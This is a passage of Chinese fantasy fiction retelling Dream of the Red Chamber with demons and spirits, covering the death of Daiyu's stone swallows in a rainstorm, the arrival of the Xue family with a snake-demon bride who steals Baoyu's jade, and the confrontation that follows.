她抬起头，女人尖牙隐去，一双竖瞳眯起，又恢复成慵懒模样，似笑非笑看着她，道：“我劝妹妹不管打什么鬼主意，都最好歇了心思。”
“嫂子在说什么？”宝钗一副听不懂的样子。
女人摸了摸她的脸，笑道：“嫂子最喜欢你识时务了，一定要继续保持下去，知道吗？”
宝钗顿了顿，点头。
警告完她，女人再次看向突然出现的两个人，小的一眼就能看透，不足为惧。大的那个，颇为棘手。
没想到还没进城就碰到了不好惹的敌人。女人心中嘶了一声，衡量了一下，挫败地发现可能打不过。没受伤之前，拿捏着那个小女孩，还能一战，现在嘛，趁早洗洗睡了。
这些吃蛇的臭鸟居然也能活这么久，真是老天不公。世上的鸟都该死绝了才是。
希望她是带着小的有别的事，路过而已。
女人盯着白鹤，心中戒备。
白鹤知道那条大蛇在看自己，并不以为意。她一眼就判断出了对方的实力，聪明一点的话，在自己没有动手的意图之后，她就不会轻举妄动。
她听到了蛇妖在威胁另一个人，但她又不是道士，没那个好心多管闲事帮人收妖。
黛玉完全没有注意到刚才发生的暗流，她以为别人都是看不见她们的。只朝车队瞥了一眼，看到一闪而过的两张美人面，她就将目光牢牢锁定
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在空中，睁大眼睛仔细辨别还活着的石燕。
一、二、三......九，一共还剩九只。
它们牢牢占据上风，绿触手已经毫无还手之力，天幕破开了一个大口子，被撕扯着拽向两边。
潮湿的水汽从口子里渗进来，黛玉不由上前两步。
......
“叽——”
“叽——”
最后一朵触手尾端的皮被撕下来吞下，遮盖着天空的昏黄之色也在撕扯中无力支撑。风时欢快地鸣叫着，似乎在向世人昭告自己的胜利。
伴随着清脆的叫声，“轰隆——”，天被劈开，雷声大作。
一滴冰凉的雨水落在黛玉额头上，她抬手摸了一下，微微张嘴，忽然提起裙摆往石燕的风向跑。
“风时——”黛玉迎着风呼喊。
白鹤抬了抬手，没有阻止她。
“嗯？”马车里的女人胳膊滑了一下，看着领头的那只石燕听到呼唤飞向地上奔跑的少女，亲昵地蹭着她的手，疑惑道：“这石燕，有主的？”
这可太稀奇了，从来没听说过。
有风时领头，其余的石燕都飞过来，绕着黛玉挨挨蹭蹭。它们虽然活下来了，但也颇为狼狈，身上还沾着一些绿液。
小心的不把脏东西沾到黛玉身上，石燕们“叽叽喳喳”叫着。
黛玉捉住它们，挨个看了看，认出了活下来的都是谁。她为它们编了册子，每只石燕都有编号，却从未想着为它们另取名字，如今只能叫编号。
“十三、十七......”每叫一个，对应的石燕都会回应她。
“下雨了，我们回去吧。”黛玉招手，勉强扬起一个笑容，对它们道。
“叽？”风时飞了起来，振翅一呼，其他石燕们呼啦啦散开。
黛玉赶了两步，想要捉住它们，扑了个空。
石燕们落在地上，鸟喙扎进土里，一昂首，叼出来一只卷起的触手，仰头吞下。
方才还战意凛然的石燕各个化身走地鸡，寻觅着潜伏在土中的漏网之鱼。
雷声越响，雨势越大，落在久旱的土地上，砸出一个小小的坑洼。
石燕身上也沾了水，开始融化。白鹤上前们，替站在空地上的黛玉遮住雨。
黛玉猛地打了个寒噤，仰头央求：“白鹤姐姐，帮帮它们。”
白鹤知道她的意思，并未拒绝，掐了个诀，为忙碌的石燕们遮风避雨。
但用处不大，天上的雨落不下，落在地上的雨一样能沾上，避无可避，除非石燕们放弃对触手的追杀。
黛玉怔怔站着，看着它们重复着啄、吞的动作，然后一只接着一只，慢慢融化，混进泥泞的土里。
“叽~”
不知看了多久，黛玉回过神，就见风时拍打着翅膀歪歪扭扭向这边飞来。它实在称不上好看，一身的泥，脏的不行，鸟喙和利爪也残缺不全，翅膀滴着泥水。
黛玉小跑起来，顶着大雨，在它落下之前接住了它。
“风时。”她轻声道。
小小的石燕蹭了蹭她，张开嘴，吐出一枚紫黑色的，干干净净的黑粳米，眷恋地“叽”了一声，在她手上化成一摊黄泥。
黛玉握紧手，黄泥从指缝中流走，滴滴答答汇入脚下的泥土中。黛玉终于忍不住，扑到白鹤怀里大哭起来。
“啧啧，这就叫泥融飞燕子~”*
51.第 51 章
宝钗：“......”
这有哪里可幸灾乐祸的吗？声音再大一些，那边两个人该听到了。人家哭得正伤心，叫她一拱火，岂不要结仇？冷着脸的高个女子都往她们这儿看过来了。
她无端有些心虚，条件反射放下帘子，遮住了外面的视线。吐了了口气，一抬头，又触及到女人脸上毫不遮掩的揶揄，宝钗：“......”
她顿时唾弃起刚刚那个心虚的自己，她为什么要替女人担心，让她结下仇家，被高人收伏对自己家不是更好吗？
“姑娘，太太那边说雨下大了，前面一时半会儿也走不通，去找村庄的人回来了，往回走穿过一片小林子，四五里地的地方有个村子。他们已经跟村里人商量好了，咱们先在村上的农家歇一晚，看情况再上路。”随行的老管事隔着帘子跟宝钗报告情况：“太太叫我来问姑娘怎么说。”
御驾不回转，路估摸着一时半会儿通不了，宝钗见女人没有出声，知道她是不反对，便回道：“我知道了，就按妈说的办。”
管事得了令，往前面去指挥着人掉头。
一会儿功夫，这片地方嘈杂起来，到处都是人声和马声，哭声已经听不见了。马车动起来，宝钗将帘子掀起一条小小的缝隙，向后望去，大雨如注，空地上早没了人影。
“有什么好看的，人早走了。可惜呀，是不是后悔这么轻易就放过了救星？”
好话歹话都让她说了，宝钗放下手，拿帕子擦了擦飘到身上的雨水，不理会她的酸言冷语。
女人心里存着事，见她不接话，也没心思多说，歪靠着双眼放空，盯着车顶发呆。
她不叽叽歪歪总变着法挑刺，马车里便难得有了片刻安宁，宝钗拿起未看完的账册，从上次停留的地方接着往下翻。
-*
白鹤抱着哭得上气不接下气的黛玉悄然回到贾府，何嬷嬷和芙蓉守在房间里，青雀卧在床上，假装睡着，见她们回来，一跃而起：“姑娘可算回来了，宝玉来了，非要往屋里闯，好不容易把人......”糊弄走。
她说着说着，便停了下来，长大嘴巴看着两人。
何嬷嬷也被白鹤和黛玉的样子惊住了，白鹤还好，只是身上打湿了一些，黛玉就狼狈许多。人都被雨浇透了，发丝打着绺，一缕缕黏在脸上和身上，衣服上和脚上都沾着黄泥，鼻头通红，眼眶微肿，活似受了天大的委屈。
“这是怎么了？！”何嬷嬷又心疼又不解，赶紧扯了干净的毯子把黛玉一裹，拉过布巾给她擦头发，又急忙吩咐：“青雀快去把门关上，别让人进来。”
还好下雨，丫鬟们无事都找地方躲着看雨去了，没人在外面走动。要是有人进来看见黛玉的样子，那可解释不清了。
芙蓉皱着眉，忍住了质问白鹤的冲动，匆匆往外走，“我去厨房要热水，姑娘得好好泡一泡，驱驱寒气。”
“让白妈妈再熬些姜汤！”何嬷嬷追着她的背影喊道。
厨房灶台一直都燃着，热水是现成的，很快就送过来了。何嬷嬷给黛玉擦干脸上和脖子上的水，又见她手上沾着泥，想给她洗干净，免得一会儿沐浴时弄脏了水。
黛玉本来怔怔地任由她摆弄，谁知她一碰到手，像是惊醒一般，一下子握紧了拳头，抽出手藏在背后。
何嬷嬷一愣，小心试探着唤她：“姑娘？”
黛玉哑着嗓子道：“我的花盆呢？”
何嬷嬷一时没反应过来，还是青雀机灵，把床边桌上的花盆抱过来放到黛玉面前，拍了拍盆里的土道：“在这儿，土也没换，姑娘走后，我把土倒回去了。”
黛玉低低嗯了一声，拳头摊开，露出手里攥得紧紧的黑粳米。何嬷嬷等人对它可太熟悉了，青雀脱口道：“咦？不是都被风时吃光了吗？”
刚说完，就见黛玉眼中水雾弥漫，何嬷嬷心道不好，拉过青雀，询问道：“姑娘是要再把它种下去？”
黛玉点头，也不等何嬷嬷说要去拿铲子，就用手拨开土，几下挖了一个半掌深的洞。她将种子放进去，又抓了一把土，在掌心揉搓着。泥土沾上她手上的黄泥，两者混合在一起，也不知道是土把黄泥“洗”干净了，还是更脏了，总之原本黄色的掌心变得黑乎乎的。
黛玉不以为意，她揉搓得非常认真，指缝里也不放过，非要将所有黄泥都搓下来。搓完后，她握着混合起来的泥土，沿着种子一圈圈撒，撒完后，再一层层推着土盖上种子，直到把泥土都铺平，又用手细细压实。
手掌在花盆上停留了一段时间，她没有往里面渡灵气。
何嬷嬷举着布巾在旁边站着，既担心她湿衣服贴在身上受凉，又不敢出声打扰她，只能干着急。
芙蓉有心问她们出去都干了什么，一直给白鹤使眼色，奈何白鹤一个眼神都没分给她，根本不接茬。
倒是青雀，等黛玉忙完，为了弥补自己刚才说错了话，提溜着黛玉平时用来浇花的小水壶过来问：“要给它浇水吗？”
“不用。”黛玉收回手，摇了摇头。风时应该是不洗水的。
“哦。”青雀鼓了下嘴，把水壶放下。
-*
洗完澡，换上干净的衣服，喝了呛人的姜汤，盖上被子，黛玉疲惫之极地睡下，何嬷嬷守在一边。青雀抱着花盆左看右看，也没看出花来，黑粳米没有发生奇迹，当场抽芽给她看，青雀便又将它放到床边去了。
何嬷嬷叫她把地上滴的水渍和泥巴收拾一下，青雀抄起小水壶，随手放在桌边的花几上，去拿东西擦地。
她吭哧吭哧善后，芙蓉便拉白鹤去了耳房，低声问：“怎么回事？”
白鹤也不隐瞒，一五一十说了。不过她显然没什么讲故事的天分，语言十分简洁，完全没有描述出石燕们战斗的惊心动魄，以至于芙蓉听完，都没能搞清楚黛玉的反应是为什么。
她知道黛玉会对石燕有感情，但毕竟相处时间不是太长，应该不是太深才对，怎么会这么难过。
芙蓉狐疑地看了白鹤两眼，试图从她脸上找出她是否有隐瞒的内容。
白鹤神情淡淡回视着她。芙蓉一时猜不透她在想什么，跟她对视了几秒，撇开目光道：“早知如此，当初也不让姑娘把石燕留下了。”
天生地养的小精怪，还是不要跟人产生太多的牵绊才好。
姑娘换下的衣服也需处理掉，芙蓉说了一句，没再寻根究底，出了耳房。
芙蓉走后，白鹤站了一会儿，绕到书桌后，从桌上捡起一本小册子。册子上秀气的簪花小楷写着《石燕考》三个字。
她翻开册子，第一张是风时的画像，旁边写着名字。黛玉没用颜料，只用水墨，画像上的红是她玩笑着用赤红胭脂晕开染上去的，新画的时候颜色艳，红茵茵的不像，如今有些暗沉掉色，倒像是枣红色了。
她的画技不算好，但或许是相处多了，自然而然有了了解，所以神态抓的非常准，
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风时的灵动和不经意间的霸道几乎要透出纸面。
再往后翻，石燕便没有名字，但标上了序号，又多了注解，或长或短。
比如小八是体型最大的一只，一起出现的时候很好认；小十心虚的时候喜欢把头扎到翅膀下面；十六胆子有点小，一起抢食的时候会被挤出去，需要特别关照......
她多看了两眼，这只石燕尾巴尖分叉比较特别，以她的眼力，能看出来它就是那只被削掉翅膀，最先坠落的石燕。
看它当时的样子，完全看不出来胆子小。
那么远的距离，姑娘应该是注意不到这样的细节的吧，白鹤忽然叹了口气。她不再继续往下看，合上册子，将它放回了原位。
-*
这场大雨足足下了一夜，第二天卯时才停。
太阳再出来时，虽然光芒依然灼热，但气温却比之前恨不得热死人的时候低了。
贾家的下人们听了一夜雨，早上起来后，内门的粗使婆子便开始抱怨不休。
热的时候怨天气，下了雨又怨活重。
一场大雨把地都浇透了，也积了水，府里人来人往，泥点子脚印子踩来踩去，不时时跟着打扫，错眼的功夫路就不能看了。
婆子们忙忙碌碌，一刻不得闲。
黛玉靠在床上，举着册子发呆。她身体好了不少，洗了澡及时喝了姜汤，睡一觉起来，竟也没染上风寒，喜得何嬷嬷不由念了几句佛。
只是身上虽好，黛玉人却有些恹恹的，提不起精神来。青雀想着法子逗她开心，奈何收效甚微，一早上都没见她多给几个笑脸，不禁泄了气，也倚在床头，跟她一起发呆。
何嬷嬷见两个人都直愣愣的，一副呆像，也是无奈。
“林妹妹！”缄默的氛围中，宝玉人未到，声先至。
“林妹妹，我来看你了！”他穿着一双木屐越走越近，噔噔噔地十分惹人注目。
“唉哟，我的二爷，您是打哪儿过的，怎么带了一脚泥，才洗的地呢！”
“再洗一次就是了，反正下了雨，又不缺水。”
“您这话说的......”
婆子絮叨不休，黛玉坐起身，“嬷嬷，给扫洒的婆子赏些钱，她们今日是辛苦些。”
“哎。”
宝玉在檐下脱了木屐，踏进房里，闻言道：“本就是她们该做的活，难不成回回下雨，回回都要赏她们？”
黛玉道：“出些钱叫她们闭上嘴罢了，你还想叫她们拉着一直同你嚷嚷？”
宝玉依旧有些不高兴。
黛玉道：“若是你房里的姐姐们与你抱怨这个，想来你肯定是要赏的。”
宝玉道：“这怎么能一样，这些婆子们可恶！哪有女儿们半点可怜可爱之处。”
“不说她们了，我昨日来看你，芙蓉姐姐说你头疼睡下了，今日可好些了？”
“好多了。”黛玉回道，又问：“你是从哪儿来的？”
宝玉见她气色尚好，坐在床边道：“从老太太那儿来的，琏二哥哥跟老太太说祈雨的事呢，说的好生传奇，跟话本子似的。说是有什么战鼓，敲得鸟兽飞奔，震散了邪气，才有这场雨下下来。”
“是吗？”
宝玉没察觉到黛玉的脸色，点头道：“张爷爷亲口跟二哥哥说的。他也去了京郊，老太太听了二哥哥的话，还想请他来府里。不过二哥哥说他求雨有功，又封了真人，暂时来不了。”
52.第 52 章
新帝显然不会放过这么好的造势机会，没两日，下人都会讲两句祈雨内情了。传得有鼻子有眼，神乎其神，连真龙都出来了。
黛玉叫住两个议论的老仆，“你们都是从哪儿听到的？老太太屋里的人说的吗？”
两个婆子面面相觑。其中一个道：“最初不知是从谁那儿传的，好像是外面都传遍了，小厮们跟着学，大伙儿互相讲，就都知道了。”
“外面都是怎么讲的，你们跟我仔细说说。”黛玉让青雀给婆子们抓了一把钱。
讲闲话还能拿赏钱，两个婆子再乐意没有了，眉飞色舞地跟黛玉说自己听到的，生怕说少了，还添油加醋掺了不少不相干的内容，乱七八糟的，黛玉都有些听迷糊了。
等两人走了，青雀撅着嘴道：“她们不说实话，讲的分明是白蛇传还有西游记。”
黛玉在给花盆松土，闻言道：“你还听得出来里面的区别？”
青雀不服气道：“姑娘小看人，我不仅听过这两出戏，还听过话本子、说书，熟得很。”她化形时间不长，但开灵智却有些年，白蛇传和西游记是经久不衰的民间故事，她不知听了多少回。
“她们还说长江倒灌如潮涌，汹涌翻滚浪滔天。京郊哪里能看见长江，这分明是水漫金山的唱词。”*
青雀较真地把两个婆子话里所有戏曲说书唱词都挑了出来，还唱给她听。别说，她嗓子好，唱得还挺好听。
黛玉心不在焉地听着，末了点头夸她。
青雀唱完，见她又走神了，忍不住长长叹了口气。
黛玉在花盆边磕了磕，把铲子上的土磕下来，笑道：“你有多大的心事？做什么这么拉着嗓子跟牛叫似的。”
“我没心事。”青雀道：“我是看姑娘总不开心，也不爱理人。姑娘心里难受，要哭、要骂或是要砸东西都好，你学学宝玉，不高兴了只管撒气！只别这么憋在心里，人都憋坏了。”
黛玉又笑：“无缘无故的，我为何要骂你们？宝玉那番做派，我也学不来。”
青雀咕哝道：“姑娘明知道我说的不是这个。”
黛玉没听清，问：“你嘀咕什么？”
“没！”青雀大声回了一句，转着圈磨鞋底，想说什么又说不出来，最后走到一边趴在圆桌上，胳膊枕着脑袋哼哼唧唧滚来滚去。
黛玉无奈，“我还没生气，你倒像是有一肚子火要撒。”
青雀哼道：“我就是心里很烦！”她也不晓得自己在烦什么，就是见不得黛玉这样。
黛玉一噎。她心里也不太舒服，青雀这么一嚷，一口气梗在喉咙里，堵得不上不下。想哭，眼眶却是干涩的，流不出眼泪来，只好也叹气。
何嬷嬷一进门就看到一个在滚着脸发疯，一个捂胸口喘气，“哎哟，这是怎么了，谁惹你们了？”
“嬷嬷给花盆里浇水了吗？”黛玉捂着胸扶着桌子坐下，问道。
何嬷嬷给她揉背：“没有，姑娘不是不让浇吗？没人动它。”
“那这盆里的土怎么是湿的？”
北方干燥，泥土晾了两日，照理来说翻动的时候不应该沾在铲子上，刮都刮不掉。
“还真是。”何嬷嬷探头，盆里的泥潮湿得很，还有一股土腥气，倒也不难闻。
青雀自己无声发泄了一通，抬起头来揉了揉脸，“许是那种子有问题呢？要不挖出来看看。”
黛玉闻言摆手，“算了，别折腾它了。不过太潮了也不好，种子该捂坏了，一会儿搬到外面去晒一晒。”
说着起身又躺回床上去了。何嬷嬷想劝又不知劝什么，无法，跟上去给她掖了掖被角，由她去了。
不知过了多久，黛玉迷迷糊糊听到有人在叫自己，睁开眼，就见芙蓉弯腰道：“姑娘醒了？”
黛玉起身，“什么时辰了？”
“申时了，姑娘快睡了一下午了。老太太刚才遣人来，说来了客人，问姑娘身上好不好，若好，就去见一见，认一认人，以后是要常见的。”
黛玉觉得稀奇，“是哪里的客人？”她来这么久，还没见过贾家姑娘外的同龄人，更不用说老太太还特地知会她去认人。
“听说是二太太家的人，从金陵来的。”
一听是金陵，已想好推脱之词的黛玉便改了口。
-*
贾母房里很是热闹，难得大家都在，黛玉来时，就听不知道是谁在说话，间或有丫鬟们的惊呼和笑声。
丫鬟打起帘子，黛玉先看到宝玉一身藻叶凤眼纹白色圆领长袍，腰上朱红玉带，穿花蝴蝶似地到处转，一会儿倚着老太太，一会儿又给一个圆脸妇人递茶盏。
圆脸妇人身边坐着两个生面孔，应该是跟妇人一道来的，黛玉觉得有些眼熟。
“二哥哥，你别走了，找个地方好好坐下吧，晃得人眼花缭乱的，不累吗？”探春见宝玉在屋子里也能走出二里地，也替他累得慌。
众人皆笑，黛玉脑中的一丝灵光便没抓住。
薛姨妈放下茶，道：“宝玉是个好孩子，还知道给我端茶，三姑娘也好，这是心疼她哥哥。可见老太太会教养孩子，不像我家的两个。”
贾母看见黛玉，朝她招手，揽着她坐在手边，道：“你只见到他们乖的时候便道好，殊不知他们也各有各的顽劣之处，闹腾起来，也是可恶得很。我看姨太太才不愁，宝丫头就很好，比我们家这几个强。”
花花轿子众人抬，薛姨妈听贾母夸宝钗，心里高兴，连忙谦虚了几句，问起新来的黛玉。
贾母道：“正要跟姨太太说，这是我的外孙女。”又给黛玉指人：“这是薛姨妈，这个是薛家哥哥未过门的媳妇，姓余。”没说叫什么。
余楚微嘴角抽了抽，从宝玉身上挪开眼神，颇为牙疼地低头翻了个白眼，也不知道是因为自己只能是薛大傻子的附庸，不配在贾母这里得到一个有名有姓的介绍，还是因为竟然在这里碰到了黛玉。
黛玉的出现，代表那只臭鸟大概也在附近。这孽缘！
她恨不得仰天长叹。虽然忌惮那只臭鸟，但她这会儿却是不能走，谁叫她还碰到了个宝贝蛋。
那边贾母指到了宝钗，黛玉怔了怔，忽然想起眼前的两个是谁了。
宝钗一瞬不瞬看着黛玉，她从黛玉进来时就认出了她。等人靠近，确定没认错，宝钗心下又惊又喜，一时没控制住，神情中就带了出来。
凤姐见她刚才轻言细语，庄重自持的模样，这会儿却眼神发亮，面带
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红晕笑着道：“瞧薛妹妹的样子，不知道的还以为是见到了什么宝贝！”
众人闻言都朝宝钗看去，薛姨妈道：“许是她们投缘。”
宝钗平复心绪，“妈说的是，我一见妹妹，就觉得亲切！”
众人一愣，皆大笑起来。薛姨妈和宝钗不明所以，不知大家在笑什么。
凤姐捂着肚子道：“薛妹妹跟宝玉想必也十分投缘，连说的话都透着一样的傻气，莫不是商量好的？”
一边笑，她一边跟薛姨妈解释。弄明白内情之后，薛姨妈拉着宝钗的手笑道：“这都是他们的缘分。”
-*
因薛姨妈一家来，晚上贾母要留众人吃晚饭，薛姨妈借口还有行李物件要规整东西推辞了。她与王夫人是姐妹，正经在贾母这里吃饭，一个坐着一个伺候着，难免尴尬。
黛玉也顺势提出要走，四个人一道出来，芙蓉和青雀迎上来。
余楚微见到芙蓉，暗暗龇牙。
青雀身上一寒，一种十分危险的感觉令她有些想炸毛。打了个哆嗦，按捺住奇怪的冲动，她环顾四周，没发现危险。
芙蓉盯着余楚微，眉头险些打成死结，她快步走近，插在中间，把黛玉护在身后。
余楚微冲她露出一个假笑，芙蓉脸色一沉。
薛姨妈不知道两人的眉眼官司，她还想跟黛玉说话，但看芙蓉十分排斥她们的模样，尴尬地顿住，心中又有点不痛快。
宝钗察觉到剑拔弩张的氛围，见余楚微的反应，有了点猜测，她暗暗拉了薛姨妈一把，道：“妈，嫂子，我们快回去吧，哥哥想必拜见完姨夫们了，他不通内务，别叫他瞎指挥丫鬟们，把咱们带的东西弄乱了。”
薛姨妈一听有理，不敢耽搁，匆匆带着宝钗两人往梨香院赶。
人一走，芙蓉就急急问道：“那是谁？怎么会在这里？”
那条蛇妖看着就不是个善茬，身上一股子血腥味。这么危险的东西进门，竟然没有被拦住，贾家的运势是干什么吃的？该灵的时候反倒不灵了！
黛玉道：“我也不知道，是二舅妈的亲戚，来府中借住。”
“借住？她们要呆很久？”
黛玉点头，“应该是吧。说来也巧，上次我和白鹤姐姐在京郊见过她们。”
芙蓉：“上次？京郊？！”
她的脸色实在不好看，黛玉打住，问：“有哪里不对吗？”
当然是哪里都不对！白鹤可没有跟她说过这事，她竟然瞒了这么重要的事！
“你为什么没有告诉我你上次碰到了一条蛇妖，你知不知道她也混进了府里！”芙蓉杀回听松园，把门一关，抓住白鹤低声质问。
“蛇妖？！”黛玉、何嬷嬷、青雀异口同声惊呼出声。
青雀摸了摸后脖颈，怪不得她觉得危险。鸟和蛇是天敌，鸟会吃蛇，但她这种体型的鸟，大约只有被吃的份。
“那位余嫂子是蛇妖？”黛玉喃喃道。所以薛家姐姐说看她亲切，不是因为投缘或者客套话，是那会儿她也看见自己了。
何嬷嬷先是吓了一跳，回过神来拉住芙蓉，道：“有话好好说。”
白鹤倒还冷静，道：“你是说那条病蛇也来这里了？”
53.第 53 章
余楚微打了个喷嚏，宝钗微妙地看了她一眼。大大方方抽帕子擦了下鼻子，余楚微挑眉看回去。
对于她不拘小节，没有半点淑女风范的行为，宝钗不忍直视地挪开目光。
余楚微可不管她心里是什么想法，帕子一团，丢在一边，支着脑袋兀自思考着之后的路。
修为到她这份上，早就不会生病了，更不用说打喷嚏，一定是有人在背后念叨她。是谁就不用说了。
余楚微虽然对着芙蓉挑衅了一通，但她有自知之明，一打一都打不过，更不用说群殴。
真是麻烦！
她是个老实妖来着，其实不想惹事的，看她精挑细选挑了好拿捏的薛家人就知道，她是想找个地方安稳一些养伤的。她很愿意跟鸟妖她们井水不犯河水，但看那只花妖警惕的表情和要吃人的脸色，恐怕她不这么想，还是早做打算为妙。
就是可惜了好不容易找的冤大头，余楚微惋惜地想。
打定了早行动早离开的主意，余楚微拖着语调道：“今晚我一个人睡~，你不要打扰我。”
宝钗坐在桌前分拣土仪，准备明天送给黛玉和三春，最重要是借这个由头跟黛玉搭上线。抱着这样的目的，虽然不清楚余楚微应该知道了她的心思，却没有警告威胁她，反而放任，她也不敢深究，一言不发叫莺儿把东西收了就往薛姨妈房里去了。
薛姨妈见到她过来，往她身后看了一眼，松了口气的同时又惊疑不定，“我的儿，你怎么......？”
自打那女妖怪来他们家，晚上就没跟宝钗分开过。宝钗相当于她手中的人质，让他们不敢轻举妄动。
既是人质，哪有主动放人的道理？今天太阳打西边出来了？
这属实是薛姨妈自作多情了，余楚微想捏死她们，有的是办法，扣着宝钗，纯属恶趣味发作，找点乐子。但薛姨妈不知道，还想着余楚微是不是又想了什么折磨人的主意，不禁疑神疑鬼起来。胡乱猜测了一阵子，她被吓得六神无主，忙让人叫薛蟠过来商议。
宝钗让丫鬟们都下去，道：“妈要商议什么？还打着捉妖的心思？离的这么近，妈和哥说什么她听不见，再把人惹恼了，妈不是更担惊受怕？”
“你怎么知道？”薛姨妈不敢置信。
宝钗抬了抬眼，薛姨妈顿时明白过来，脸上讪讪：“蟠儿和我是背着她说的，本来想找个机会跟你商量，但她不是一直跟着你么？”
“没想到她这么厉害，都知道了。”
宝钗道：“妈和哥哥还是趁早歇了心思吧，这次是她不计较。”
“我知道了，明早我就跟蟠儿说。”薛姨妈一口应承，随即唉声叹气，“蟠儿他真是！怎么偏偏看上了这个！以咱们家的情形，不挑那些高门大户，要什么样的媳妇没有，他偏从大街上拉人，结果碰上这么个......”
到底没胆子说余楚微坏话，薛姨妈吞下后面的话，又跟宝钗诉苦：“你不知道，你姨妈还私下问我，怎么给你哥哥说了个大好几岁的孤女。我当时心里跟油煎似的，又不敢跟她明说，只能说她人品好，模样整齐，咱们家有钱，不挑身家，人好就行。”
“你姨妈虽然表面赞同，但我知道，她肯定以为我糊涂了。都是我命不好，你爹还在的话，也不至于到这等田地。他怎么也不先给你哥哥定下一门亲事！”
薛姨妈一路惊惧难安，心里憋了一肚子话又不敢说，就养成了找机会私下拉着宝钗唠叨的习惯，薛蟠是不会听她念叨的，不反过来诉苦就不错了。
宝钗体谅她的心情，总是默默听着，从不反驳，常常宽慰她。
但薛姨妈带上了薛父，宝钗便觉得不妥，还有些难受。
比起薛姨妈，宝钗其实跟薛父感情更好。余楚微说她不像薛姨妈的孩子，兄妹两个天差地别，是因为她更像薛父。
薛姨妈是王家女，自己是不识字的，信奉的一直是王家女子无才便是德那一套。王家一直都是这么教养女儿，教的十分成功，观念根深蒂固。
出嫁后，薛姨妈也没有改变，生下宝钗后，自然而然地把这套思想带到了宝钗身上。薛姨妈从没想过要培养宝钗，读书识字，算账管家，这些都是薛父教她的。
薛姨妈对女儿谈不上用心教养，对儿子更是一味宠溺。薛父在世时，也试着管教薛蟠，但他根子已经养歪了，薛父精力也不好，只能勉强扎了篱笆给他扶直。结果薛父一死，篱笆倒了，薛蟠就彻底撒了欢。
若说局面为什么会变成今天这样，宝钗觉得责任在母亲身上。买人的时候七百两银子说给就给，引狼入室后却怨起爹爹没有未卜先知。
宝钗心里也有怨，但身为女儿，不能说母亲的不是，她道：“妈何必这样说，爹爹也没有料到有这一天。”
“况且爹爹不在了，咱们离开金陵，就算定了亲，哥哥那样，人家认不认还是另一回事。”
薛姨妈哭道：“我如何不知道，就是心里后悔。”
宝钗只好劝道：“妈既然这样想，以后就该多约束哥哥才是。”
“他性子早野了，多说两句，他就躲出去，我哪里能管得住他。”薛姨妈低头拭泪，仍是抱怨。
宝钗忽觉没意思，说了这么多，妈一句也没听进去。要她说，但凡妈能拿出点气势，如今哥哥让余楚微吓到了，正是好管教的时候。
这个时候还是一味哭，以后更有哭的时候。
她要是个男儿就好了，怎么也能撑起薛家，妈也不会总是伤心。
怀着这个念头，宝钗好歹把薛姨妈劝好了。
熄了灯睡下，薛姨妈吐了苦水，倒也不挂心，呼吸很快平缓起来，宝钗却怎么也睡不着。她腹中像有一团火，缓缓烧起来，烧向四肢百骸。
宝钗闭着眼睛试图静下心，那团火却越烧越凶，烧得她身上发疼，她蜷起身，知道自己是热毒犯了。
她生下来身上就带着一股热毒，六岁前身体不好，后来有一僧一道送了一个海外仙方，制了冷香丸，才将热毒压下去。
但冷香丸只能压制，却断不了根，时不时会发作。
不过上次发作过去了许久，她又时时留心戒备余楚微，一时倒忘了自己身上还有病。
不知道是心情太过压抑，还是热毒长时间被压制太狠，这次发病比以往时候都要更猛烈。
宝钗把自己紧紧团在一起，抵着墙，咬紧牙关抵挡身上的疼痛。薛姨妈睡得沉，完全没有发现
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躺在自己身边，只有一臂距离的女儿正在忍受痛苦。
大约半盏茶的功夫，熬过了一波疼痛的宝钗汗涔涔睁开眼睛，翻过身看了薛姨妈一眼，软着手脚爬起来，小心跨过她下了床。
薛姨妈咳嗽了一声，宝钗回头，见她没醒，扭着身朝里面睡着，也说不上心里是什么滋味。她也不知道自己为什么不把人叫醒，顶着发昏的脑袋和再次涌起的热意摸索着去拿药。
摸了个空之后，宝钗才想起来，她贴身的东西大部分还在余楚微屋里。
打开门，就着月光，宝钗跌跌撞撞往余楚微那里摸去。快要烧成一团浆糊的脑袋根本注意不到整个梨香院分外安静，她控制不住身体，闹出的动静不算小，但不管是守夜的婆子还是丫鬟没有一个人出来。
满院子不闻虫鸣，只有极小的沙沙和嘶嘶声，好像有什么东西在地上爬动。
越靠近余楚微的屋子，沙沙声越重。
宝钗无心思考那是什么发出的声音，她只看到余楚微屋里还点着灯。踉跄着撞过去，脚下似乎踩到了几团柔软的东西，腿上被虫子叮了几下，有点疼，但比不上从骨头缝了沁出的疼。
好不容易摸到门前，“咚”地一声，宝钗向前一扑，撞开门，滚进屋里，满地的蛇刷地爬开。有一条躲得不及时，被她压住了尾巴尖，弹起来对着宝钗的胳膊就是一口。
余楚微正对着烛光欣赏蛇群给她带回来的通灵宝玉，宝钗突然闯进来时，她以为臭鸟也等不及，打上门了，通灵宝玉差点都没拿稳。
转头见宝钗躺在地上，余楚微：“？”
赤着脚踩在地上，挑起乱弹的竹叶青甩开，看它嗖嗖爬到一边，余楚微把宝钗翻过来，见她脸上泛青，撩起裤腿，果然也看到了好几个整齐的牙印。
“你怎么没被迷晕？”余楚微点着脸颊，颇为奇怪。
她特地放毒迷倒了梨香院的人，就是为了捞到灵玉好跑路的，没想到宝钗竟然没中招。她用毒好歹也有几百年，不应该失手才对。
“算了，管你是因为什么。”换了平时她还有心思研究研究，现在当然先溜为上。弄了这么多蛇过来，说不定那边什么时候就察觉到动静了。
“是你自己碰上来的，被咬了也是活该，怪不得我。不过看在你还算讨喜的份上，毒我可以帮你解了。”余楚微自言自语道，抓起宝钗的胳膊，张开嘴，两颗毒牙探出来，低头就要咬上去。
“呀！”
“蛇妖吃人了？！”
牙还没扎破皮肤，两声惊叫响起，余楚微歪头向门口看去。
黛玉响亮地抽了一口气，芙蓉抬手捂住她的眼睛，青雀牵着黛玉的衣角躲在白鹤身后，探出脑袋看了一眼，触及到发亮的竖瞳和血盆大口，又缩了回去。
“你......？”白鹤往地上看了一眼，又看看她，难得不太确定地开口。
余楚微扫过撞开的大门外站着的一排人——两个令她忌惮的大妖，一个“小麻雀”，一个百年怨魂，再加上中间为主的小姑娘。
很好，大半夜都不睡觉，人都齐全了。
她放下手，收起尖牙，慢慢闭上张开的血盆大口，微笑道：“我说这是意外，你们信吗？”
54.第 54 章
余楚微表面镇定，一边用余光打量可以逃跑的地方。眼前的场景太容易让人误会了，平白无故被人堵着喊打喊杀的事她又不是没碰见过。
清清白白还能惹一身事，更何况她还真不是清白无辜的。
余楚微悄悄后退两步，门口被堵住，左右窗子有点远，最方便的是头顶的梁和背后的墙。一鼓作气冲出去，至于会不会毁坏屋子，闹出乱子，跟她有什么关系，到时候她早跑了。
